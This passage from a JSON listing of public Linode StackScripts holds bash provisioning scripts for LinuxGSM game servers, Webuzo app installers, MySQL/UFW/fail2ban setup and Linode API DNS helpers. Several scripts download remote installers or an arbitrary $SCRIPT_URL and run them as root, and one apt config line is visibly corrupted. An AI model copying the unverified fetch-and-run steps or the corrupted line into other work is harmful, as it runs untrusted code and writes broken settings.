start\nExecStop=/bin/kill -2 $MAINPID\n\n[Install]\nWantedBy=multi-user.target\nEND\n\n}\n\n## Adding these for Valheim launch, will eventually replace the above code, but for now, we added ''v_'' in front of functions\n\nfunction v_linuxgsm_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n su - \"$username\" -c \"\n # Download and the LinuxGSM script\n wget -O linuxgsm.sh https://linuxgsm.sh\n chmod +x linuxgsm.sh\n # Run the GSM script\n /home/$username/linuxgsm.sh $gameserver\n \"\n}\n\nfunction v_linuxgsm_game_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n # Installing the Server\n su - \"$username\" -c \"/home/$username/$gameserver auto-install\"\n if [[ \"$gameserver\" =~ (^boserver$|^bb2server$|^bmdmserver$| \\\n ^cssserver$|^csgoserver$|^dodsserver$|^emserver$| \\\n ^gmodserver$|^insserver$|^nmrihserver$|^tf2server$| \\\n ^tuserver$|^zpsserver$) ]]; then\n echo -e \"\\ngslt=$GSLT\" >> \"/home/$username/lgsm/config-lgsm/$gameserver/$gameserver.cfg\"\n else\n echo No gameserver Login Token Needed\n fi\n}\n\nfunction v_linuxgsm_service_config {\n local -r gameserver=\"$1\" username=\"$2\"\n\n # Add cron jobs for updating the game server and LinuxGSM\n # Monitor will ensure that the gameserver is running and restart if needed\n crontab -l > gamecron\n\n echo \"*/5 * * * * su - \"$username\" -c ''/home/$username/$gameserver monitor'' > /dev/null 2>&1\" >> gamecron\n echo \"0 23 * * * su - \"$username\" -c ''/home/$username/$gameserver update'' > /dev/null 2>&1\" >> gamecron\n echo \"30 23 * * * su - \"$username\" -c ''/home/$username/$gameserver update-functions'' > /dev/null 2>&1\" >> gamecron\n\n crontab gamecron\n rm gamecron\n\n # Create systemd service file\n cat << EOF > /etc/systemd/system/$gameserver.service\n[Unit]\nDescription=$gameserver\n[Service]\nUser=$username\nType=forking\nExecStart=/bin/bash /home/$username/$gameserver start\nExecStop=/bin/kill -2 \\$MAINPID\n[Install]\nWantedBy=multi-user.target\nEOF\n}\n\nfunction v_linuxgsm_oneclick_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n v_linuxgsm_install \"$gameserver\" \"$username\"\n v_linuxgsm_game_install \"$gameserver\" \"$username\"\n v_linuxgsm_service_config \"$gameserver\" \"$username\"\n}", "user_defined_fields": []}, {"id": 978965, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "Testing Update", "description": "testing Update", "ordinal": 0, "logo_url": "", "images": ["linode/arch", "linode/slackware14.2", "linode/debian10", "linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "yegiu Update", "script": "#!/bin/bash\n\ntesting Update ", "user_defined_fields": []}, {"id": 8470, "username": "ichal", "user_gravatar_id": "632f7c16a5fd3a66b8909e0153856b49", "label": "jibeg", "description": "aa", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.5"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9238, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Support Incident Tracker powered by Webuzo", "description": "Support Incident Tracker (or SiT!) is a Free Software/Open Source (GPL) web based application which uses PHP and MySQL for tracking technical support calls/emails (also commonly known as a ''Help Desk'' or ''Support Ticket System'').\r\n\r\nManage contacts, sites, technical support contracts and support incidents in one place. Send emails directly from SiT!, attach files and record every communication in the incident log. SiT is aware of Service Level Agreements and incidents are flagged if they stray outside of them. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Support Incident Tracker and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Support Incident Tracker powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Support Incident Tracker and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Support Incident Tracker :\n# Support Incident Tracker (or SiT!) is a Free Software/Open Source (GPL) web based application which uses\n# PHP and MySQL for tracking technical support calls/emails (also commonly known as a ''Help Desk''\n# or ''Support Ticket System'').\n###########################################################################################################\n\n# Install Support Incident Tracker Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=409&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Support Incident Tracker and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Support Incident Tracker has been successfully installed\"\necho \" \"\necho \"You can now configure Support Incident Tracker and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 928534, "username": "acourdavault", "user_gravatar_id": "66d9a70b3232ec8f2b533584b3299ed8", "label": "db_centos_magic_script", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/centos7"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\t\n\nexec > /var/log/sg-stackscript.log\nexec 2>&1\t\n\nset -x\ncommand -v wget >/dev/null 2>&1 || yum install -y wget || exit 1\ncommand -v dos2unix >/dev/null 2>&1 || yum install -y dos2unix || exit 1\n\ncd ${HOME}\nSCRIPT=$(basename $SCRIPT_URL)\nrm -f ${SCRIPT}\necho \"Copying ${SCRIPT_URL} to ${HOME}\"\nwget --tries=5 ${SCRIPT_URL} && /usr/bin/dos2unix ${SCRIPT} && . ${SCRIPT}\ncd ${HOME} && rm -f ${SCRIPT}", "user_defined_fields": []}, {"id": 1193750, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "Basic OCA Helper ", "description": "Basic OCA Helper One-Click", "ordinal": 0, "logo_url": "", "images": ["linode/debian9"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "move apt-get upgrade to end of script to prevent busted nf_conntrack kernel modules for UFW - cmullen ", "script": "#!/bin/bash\n# Used for Marketplace Apps\n# Helper functions\n\nfunction apt_setup_update {\n # Force IPv4 and noninteractive update\n echo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n export DEBIAN_FRONTEND=noninteractive\n apt-get update -y\n}\n\nfunction set_hostname {\n IP=`hostname -I | awk ''{print$1}''`\n HOSTNAME=`dnsdomainname -A`\n hostnamectl set-hostname $HOSTNAME\n echo $IP $HOSTNAME >> /etc/hosts\n}\n\nfunction mysql_root_preinstall {\n # Set MySQL root password on install\n debconf-set-selections <<< \"mysql-server mysql-server/root_password password $DBROOT_PASSWORD\"\n debconf-set-selections <<< \"mysql-server mysql-server/root_password_again password $DBROOT_PASSWORD\"\n}\n\nfunction run_mysql_secure_installation_ubuntu20 {\n # Installs expect, runs mysql_secure_installation and runs mysql secure installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect -c \"\n set timeout 10\n spawn mysql_secure_installation\n expect \\\"Press y|Y for Yes, any other key for No:\\\"\n send \\\"n\\r\\\"\n expect \\\"New password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Re-enter new password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Remove anonymous users? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect \\\"Disallow root login remotely? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect \\\"Remove test database and access to it? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect \\\"Reload privilege tables now? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect eof\n \")\n echo \"$SECURE_MYSQL\"\n}\n\nfunction ufw_install {\n # Install UFW and add basic rules\n apt-get install ufw -y\n ufw default allow outgoing\n ufw default deny incoming\n ufw allow ssh\n ufw enable\n systemctl enable ufw\n\n # Stop flooding Console with messages\n ufw logging off\n}\n\nfunction fail2ban_install {\n # Install and configure Fail2ban\n apt-get install fail2ban -y\n cd /etc/fail2ban\n cp fail2ban.conf fail2ban.local\n cp jail.conf jail.local\n systemctl start fail2ban\n systemctl enable fail2ban\n cd\n}\n\nfunction stackscript_cleanup {\n # Force IPv4 and noninteractive upgrade after script runs to prevent breaking nf_conntrack for UFW\n echo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n export DEBIAN_FRONTEND=noninteractive \n apt-get upgrade -y\n\n rm /root/StackScript\n rm /root/ssinclude*\n echo \"Installation complete!\"\n}\n\nfunction run_mysql_secure_installation {\n # Installs expect, runs mysql_secure_installation and runs mysql secure installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect -c \"\n set timeout 10\n spawn mysql_secure_installation\n expect \\\"Enter current password for root (enter for ):\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Change the root password?\\\"\n send \\\"n\\r\\\"\n expect \\\"Remove anonymous users?\\\"\n send \\\"y\\r\\\"\n expect \\\"Disallow root login remotely?\\\"\n send \\\"y\\r\\\"\n expect \\\"Remove test database and access to it?\\\"\n send \\\"y\\r\\\"\n expect \\\"Reload privilege tables now?\\\"\n send \\\"y\\r\\\"\n expect eof\n \")\n echo \"$SECURE_MYSQL\"\n}", "user_defined_fields": []}, {"id": 9239, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Webasyst powered by Webuzo", "description": "Webasyst is a free PHP framework for creating sleek multi-user web apps and for building websites. Webasyst offers a multi-app UI ready for integrating and designing your app, handles user authorization, access rights management, routing setup, and much more. Great for creating web solutions for businesses and teams. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Webasyst and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Webasyst powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Webasyst and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Webasyst :\n# Webasyst is a free PHP framework for creating sleek multi-user web apps and for building websites.\n# Webasyst offers a multi-app UI ready for integrating and designing your app, handles user \n# authorization, access rights management, routing setup, and much more.\n# Great for creating web solutions for businesses and teams. \n###########################################################################################################\n\n# Install Webasyst Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=467&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Webasyst and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Webasyst has been successfully installed\"\necho \" \"\necho \"You can now configure Webasyst and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9240, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "jforum powered by Webuzo", "description": "jforum is a powerful and robust discussion board system implemented in Java. It provides an attractive interface, an efficient forum engine, an easy to use administrative panel, an advanced permission control system and much more. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure jforum and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "jforum powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install jforum and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About jforum :\n# jforum is a powerful and robust discussion board system implemented in Java.\n# It provides an attractive interface, an efficient forum engine, an easy to use administrative\n# panel, an advanced permission control system and much more.\n###########################################################################################################\n\n# Install jforum Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=423&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling jforum and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, jforum has been successfully installed\"\necho \" \"\necho \"You can now configure jforum and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193752, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "API Functions Helper", "description": "api", "ordinal": 0, "logo_url": "", "images": ["linode/slackware14.1", "linode/centos7", "linode/ubuntu16.04lts", "linode/arch", "linode/slackware14.2", "linode/gentoo", "linode/debian9", "linode/ubuntu18.04", "linode/debian10", "linode/centos8", "linode/alpine3.11"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/usr/bin/env bash\n\n### Linode API Bash Functions\n\n##################################\n## Pre-Requisites\n##################################\n\n## Import StackScript 1 (Bash Library) so that check_dns_propagation() can install ''dig''\n#source \n\n## Install jq\nif [ ! -x /usr/bin/jq ] && [ ! -x /usr/local/bin/jq ]; then\n which wget || system_install_package wget\n wget https://github.com/stedolan/jq/releases/download/jq-1.6/jq-linux64\n mv jq-linux64 jq\n chmod +x jq\n mv jq /usr/bin/\nfi\n\n\n##################################\n## DNS\n##################################\n\n## Fetch DNS info from the API\n\nfunction list_domains {\n # Example: list_domains\n\n curl -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n https://api.linode.com/v4/domains | jq -S\n}\n\nfunction list_records {\n # Example: list_records $DOMAIN\n \n local -r domain=\"$1\"\n local -r domain_id=$(get_domain_property $domain ''id'')\n\n curl -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n https://api.linode.com/v4/domains/$domain_id/records | jq -S\n}\n\nfunction get_domain_property {\n # Example: get_domain_property $DOMAIN ''id'' \n\n local -r domain=\"$1\" property=\"$2\"\n local -a domain_list=($(list_domains $TOKEN_PASSWORD))\n local -r num_domains=$(echo \"${domain_list[@]}\" | jq ''.results'')\n\n for ((i=0; i<$num_domains; i++)); do\n local domain_name=$(echo \"${domain_list[@]}\" | jq .data[$i].domain | sed ''s/\"//g'')\n case \"$domain_name\" in\n \"$domain\")\n echo \"${domain_list[@]}\" | jq .data[$i].$property\n break;\n ;;\n esac\n done\n}\n\nfunction check_domain {\n # Example: check_domain \"$DOMAIN\"\n\n local -r domain=\"$1\"\n if [ \"$(get_domain_property \"$domain\" ''domain'')\" ];\n then return 0;\n else return 1;\n fi\n}\n\nfunction get_record_id {\n # Example: get_record_id \"$DOMAIN\" \"$SUBDOMAIN\" \"$TYPE\"\n\n local -r domain=\"$1\" subdomain=\"$2\" type=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n local -a record_list=($(list_records \"$domain\"))\n local -r num_records=$(echo \"${record_list[@]}\" | jq ''.results'')\n\n for ((i=0; i<$num_records; i++)); do\n local record_name=$(echo \"${record_list[@]}\" | jq .data[$i].name | sed ''s/\"//g'')\n case \"$record_name\" in\n \"$subdomain\")\n local record_type=$(echo \"${record_list[@]}\" | jq .data[$i].type | sed ''s/\"//g'')\n if [ \"$record_type\" == \"$type\" ]; then\n echo \"${record_list[@]}\" | jq .data[$i].id\n break;\n fi\n ;;\n esac\n done\n}\n\nfunction check_record {\n # Example: check_record $DOMAIN $SUBDOMAIN $TYPE\n\n local -r domain=\"$1\" subdomain=\"$2\" type=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n local -a record_list=($(list_records \"$domain\"))\n local -r num_records=$(echo \"${record_list[@]}\" | jq ''.results'')\n\n for ((i=0; i<$num_records; i++)); do\n local record_name=$(echo \"${record_list[@]}\" | jq .data[$i].name | sed ''s/\"//g'')\n case \"$record_name\" in \n \"$subdomain\")\n local record_type=$(echo \"${record_list[@]}\" | jq .data[$i].type | sed ''s/\"//g'')\n if [ \"$record_type\" == \"$type\" ]; then\n local found_record=true\n break;\n fi\n ;;\n esac\n done\n\n if [ \"$found_record\" ]; then\n return 0;\n else\n return 1;\n fi\n}\n\n## Create new DNS records\n\nfunction create_domain {\n # Example: create_domain $DOMAIN $SOA_EMAIL_ADDRESS\n \n local -r domain=\"$1\" soa_email_address=\"$2\"\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"domain\": \"''\"$domain\"''\",\n \"type\": \"master\",\n \"soa_email\": \"''\"$soa_email_address\"''\",\n \"description\": \" \",\n \"refresh_sec\": 14400,\n \"retry_sec\": 3600,\n \"expire_sec\": 604800,\n \"ttl_sec\": 300,\n \"status\": \"active\",\n \"display_group\": \" \"\n }'' https://api.linode.com/v4/domains\n\n # There''s a reason I added this, but it seems I didn''t leave a comment\n # I''ll experiment with removing it later, but am leaving it for now in\n # the interest of not breaking anything\n sleep 3\n}\n\nfunction create_a_record {\n # Example: create_a_record $SUBDOMAIN $IP $DOMAIN\n\n local -r subdomain=\"$1\" ip_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": \"A\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\": \"''\"$ip_address\"''\",\n \"priority\": 0,\n \"service\": null,\n \"protocol\": null\n }'' https://api.linode.com/v4/domains/$domain_id/records\n\n}\n\nfunction create_aaaa_record {\n # Example: create_aaaa_record $SUBDOMAIN $IP $DOMAIN\n\n local -r subdomain=\"$1\" ip6_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": \"AAAA\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\": \"''\"$ip6_address\"''\",\n \"priority\": 0,\n \"service\": null,\n \"protocol\": null\n }'' https://api.linode.com/v4/domains/$domain_id/records\n}\n\nfunction create_mx_record {\n # Example: create_mx_record $DOMAIN\n\n local -r domain=\"$1\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": \"MX\",\n \"name\": \"''\"mail.${domain}\"''\",\n \"target\": \"''\"$domain\"''\",\n \"priority\": 10,\n \"service\": null,\n \"protocol\": null,\n \"ttl_sec\": 0\n }'' https://api.linode.com/v4/domains/$domain_id/records\n}\n\nfunction create_spf_record {\n ## This function needs updating to allow the creation of custom SPF records\n\n # Example create_spf_record $DOMAIN\n\n local -r domain=\"$1\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": \"TXT\",\n \"name\": \"''\"$domain\"''\",\n \"target\": \"v=spf1 a ~all\",\n \"priority\": 50,\n \"ttl_sec\": 0\n }'' https://api.linode.com/v4/domains/$domain_id/records\n}\n\nfunction set_rdns {\n # Example: set_rdns $FQDN $IP\n\n local -r fqdn=\"$1\" ip_address=\"$2\"\n\n check_dns_propagation \"$fqdn\" \"$ip_address\"\n\n printf \"Setting rDNS...\\n\"\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X PUT -d ''{\n \"rdns\": \"''\"$fqdn\"''\"\n }'' https://api.linode.com/v4/networking/ips/$ip_address\n}\n\n\n## Update existing DNS records\n\nfunction update_domain_property {\n # Example: update_domain_property $DOMAIN $PROPERTIES_JSON\n\n local -r domain=\"$1\"\n local -r domain_id=\"$(get_domain_property \"$domain\" ''id'')\"\n\n # Import the passed data into an associative array\n local var=$(declare -p ${2})\n eval \"local -a properties_json=\"${var#*=}\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X PUT -d \"${properties_json}\" \\\n https://api.linode.com/v4/domains/$domain_id\n}\n\nfunction update_a_record {\n # Example: update_a_record $SUBDOMAIN $IP_ADDRESS $DOMAIN\n \n local -r subdomain=\"$1\" ip_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n local -r record_id=$(get_record_id \"$domain\" \"$subdomain\" ''A'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X PUT -d ''{\n \"type\": \"A\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\": \"''\"$ip_address\"''\"\n }'' https://api.linode.com/v4/domains/$domain_id/records/$record_id\n}\n\nfunction update_aaaa_record {\n # Example: update_aaaa_record $SUBDOMAIN $IP6 $DOMAIN\n\n local -r subdomain=\"$1\" ip6_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n local -r record_id=$(get_record_id \"$domain\" \"$subdomain\" ''AAAA'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X PUT -d ''{\n \"type\": \"AAAA\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\": \"''\"$ip6_address\"''\"\n }'' https://api.linode.com/v4/domains/$domain_id/records/$record_id\n}\n\n\n## Automate DNS record creation\n#\n# *** IMPORTANT ***\n#\n# To use this next function, you''ll need to create an associative array outside of it to be passed in\n# Here''s an example:\n#\n# declare -A dns_records=(\n# [soa_email_address]=\"$SOA_EMAIL_ADDRESS\"\n# [domain]=\"$DOMAIN\"\n# [subdomain]=\"www\"\n# [mx_record]=''Yes''\n# [spf_record]=''Yes''\n# )\n#\n# set_dns \"dns_records\"\n\nfunction set_dns {\n # Import the passed data into an associative array\n local var=$(declare -p ${1})\n eval \"local -A records=\"${var#*=}\n\n # Create the domain, if specified, and get it''s ID\n # Also, create the A record for the base domain\n if ! check_domain \"${records[domain]}\"; then\n # Create the domain\n create_domain \"${records[domain]}\" \"${records[email_address]}\"\n\n # Create the base A record\n create_a_record \"\" \"${records[ipv4_address]}\" \"${records[domain]}\"\n create_aaaa_record \"\" \"${records[ipv6_address]}\" \"${records[domain]}\"\n fi\n\n # If the A record doesn''t already exist, create it\n if ! check_record \"${records[domain]}\" \"${records[subdomain]}\" ''A''; then\n create_a_record \"${records[subdomain]}\" \"${records[ipv4_address]}\" \"${records[domain]}\"\n # Otherwise, update it\n else\n update_a_record \"${records[subdomain]}\" \"${records[ipv4_address]}\" \"${records[domain]}\"\n fi\n\n # If the AAAA record doesn''t exist, create it\n if ! check_record \"${records[domain]}\" \"${records[subdomain]}\" ''AAAA''; then\n create_aaaa_record \"${records[subdomain]}\" \"${records[ipv6_address]}\" \"${records[domain]}\"\n # Otherwise, update it\n else\n update_aaaa_record \"${records[subdomain]}\" \"${records[ipv6_address]}\" \"${records[domain]}\"\n fi\n\n # Create an MX record, if requested\n case \"${records[mx_record]}\" in\n ''Yes'')\n list_records \"${records[domain]}\" | grep ''MX''\n [ $? -ne 0 ] && create_mx_record \"${records[domain]}\"\n ;;\n esac\n\n # Create an SPF record, if requested\n case \"${records[spf_record]}\" in\n ''Yes'')\n list_records \"${records[domain]}\" | grep ''spf''\n [ $? -ne 0 ] && create_spf_record \"${records[domain]}\"\n ;;\n esac\n}\n\n\n## Verify DNS records\n\nfunction check_dns_propagation {\n # Example: check_dns_propagation $FQDN $IP\n\n local -r fqdn=\"$1\" ip_address=\"$2\"\n\n # Check for ''dig'' and install ''dnsutils'' if it''s not there\n if ! dig; then\n case \"${detected_distro[family]}\" in\n ''debian'')\n system_install_package dnsutils\n ;;\n ''redhat'')\n system_install_package bind-utils\n ;;\n esac\n fi\n\n # List of nameservers to check\n # Specifically, Google''s and Linode''s\n local -a nameservers=(\n ''8.8.4.4''\n ''8.8.8.8''\n # ''162.159.27.72''\n # ''162.159.24.39''\n # ''162.159.25.129''\n # ''162.159.26.99''\n # ''162.159.24.25''\n )\n\n # Check for the record in each of the nameservers\n # listed in ${nameservers[@]}\n for i in ${nameservers[@]}; do\n local a=1\n printf \"Waiting for propagation to %s\" $i\n while [ $a -gt 0 ]; do\n result=\"$(dig @$i +short $fqdn)\"\n if [ \"$result\" == \"$ip_address\" ]; then\n ((a-=1))\n result=''''\n else\n printf \".\"\n sleep 10\n fi\n done\n printf \"done.\\n\"\n done\n\n printf \"\\n%s has finished propagating!\\n\" $fqdn\n}\n\nfunction check_rdns_propagation {\n # Example check_rdns_propagation $IP $DOMAIN\n\n local -r ip_address=\"$1\" domain=\"$2\"\n local a=1\n\n while [ $a -ne 0 ]; 